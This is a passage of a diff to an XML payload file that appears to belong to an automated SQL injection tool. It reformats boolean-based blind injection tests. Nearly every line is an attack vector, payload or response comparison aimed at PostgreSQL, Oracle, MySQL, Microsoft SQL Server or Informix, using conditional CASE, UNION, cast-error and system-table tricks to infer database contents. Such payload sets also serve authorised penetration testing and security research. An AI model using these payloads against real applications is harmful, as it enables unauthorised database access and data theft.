<payload>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload> <payload>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION
SELECT [RANDNUM2]) END))
</payload>
<comment>[GENERIC_SQL_COMMENT]</comment> <comment>[GENERIC_SQL_COMMENT]</comment>
</request> </request>
<response> <response>
<comparison>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison> <comparison>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1]
UNION SELECT [RANDNUM2]) END))
</comparison>
</response> </response>
</test> </test>
@ -530,10 +542,14 @@ Tag: <test>
<where>1</where> <where>1</where>
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector> <vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
<request> <request>
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload> <payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS
NULL
</payload>
</request> </request>
<response> <response>
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison> <comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END))
IS NULL
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -549,10 +565,14 @@ Tag: <test>
<where>2</where> <where>2</where>
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector> <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
<request> <request>
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload> <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS
NULL
</payload>
</request> </request>
<response> <response>
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison> <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END))
IS NULL
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -566,12 +586,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector> <vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS
NULL
</vector>
<request> <request>
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload> <payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END)
FROM DUAL) IS NULL
</payload>
</request> </request>
<response> <response>
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison> <comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END)
FROM DUAL) IS NULL
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -585,12 +611,18 @@ Tag: <test>
<risk>3</risk> <risk>3</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector> <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS
NULL
</vector>
<request> <request>
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload> <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM
DUAL) IS NULL
</payload>
</request> </request>
<response> <response>
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison> <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END)
FROM DUAL) IS NULL
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -606,12 +638,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2])
END))
</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT
[RANDNUM2]) END))
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT
[RANDNUM2]) END))
</comparison>
</response> </response>
</test> </test>
@ -775,12 +813,17 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector> <vector>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
</vector>
<request> <request>
<payload>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload> <payload>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END) LIMIT 1)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison> <comparison>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE
0 END) LIMIT 1)
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -795,12 +838,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector> <vector>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END)
LIMIT 1)
</vector>
<request> <request>
<payload>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload> <payload>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1
ELSE 0 END) LIMIT 1)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison> <comparison>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1])
THEN 1 ELSE 0 END) LIMIT 1)
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -814,12 +863,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,3</clause> <clause>1,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT
[RANDNUM1]) END))
</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL
SELECT [RANDNUM1]) END))
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION
ALL SELECT [RANDNUM1]) END))
</comparison>
</response> </response>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
@ -834,12 +889,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,3</clause> <clause>1,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT
[RANDNUM1]) END))
</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION
ALL SELECT [RANDNUM1]) END))
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM]
UNION ALL SELECT [RANDNUM1]) END))
</comparison>
</response> </response>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
@ -854,12 +915,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,3</clause> <clause>1,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM
DUAL)
</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL)
END) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM
DUAL) END) FROM DUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -873,12 +940,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,3</clause> <clause>1,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM
DUAL)
</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL)
END) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM
DUAL) END) FROM DUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
@ -894,10 +967,12 @@ Tag: <test>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Informix</dbms> <dbms>Informix</dbms>
@ -913,10 +988,14 @@ Tag: <test>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM
SYSMASTER:SYSDUAL)
</payload>
</request> </request>
<response> <response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</comparison> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM
SYSMASTER:SYSDUAL)
</comparison>
</response> </response>
<details> <details>
<dbms>Informix</dbms> <dbms>Informix</dbms>
@ -969,12 +1048,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector> <vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT
[RANDNUM1] FROM DUAL) END)
</vector>
<request> <request>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload> <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION
SELECT [RANDNUM1] FROM DUAL) END)
</payload>
</request> </request>
<response> <response>
<comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison> <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL
UNION SELECT [RANDNUM1] FROM DUAL) END)
</comparison>
</response> </response>
</test> </test>
@ -985,12 +1070,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector> <vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT
[RANDNUM1] FROM DUAL) END)
</vector>
<request> <request>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload> <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION
SELECT [RANDNUM1] FROM DUAL) END)
</payload>
</request> </request>
<response> <response>
<comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison> <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL
UNION SELECT [RANDNUM1] FROM DUAL) END)
</comparison>
</response> </response>
</test> </test>
<!-- End of boolean-based blind tests - Parameter replace --> <!-- End of boolean-based blind tests - Parameter replace -->
@ -1037,12 +1128,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1057,12 +1154,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM]
FROM INFORMATION_SCHEMA.PLUGINS) END))
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1077,12 +1180,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1097,12 +1206,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM
INFORMATION_SCHEMA.PLUGINS) END))
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison> <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM]
FROM INFORMATION_SCHEMA.PLUGINS) END))
</comparison>
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
@ -1162,12 +1277,18 @@ Tag: <test>
<!-- <clause>2,3</clause> --> <!-- <clause>2,3</clause> -->
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector> <vector>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT
1)
</vector>
<request> <request>
<payload>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload> <payload>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END) LIMIT 1)
</payload>
</request> </request>
<response> <response>
<comparison>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison> <comparison>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE
0 END) LIMIT 1)
</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>
@ -1181,12 +1302,18 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1])
END))
</vector>
<request> <request>
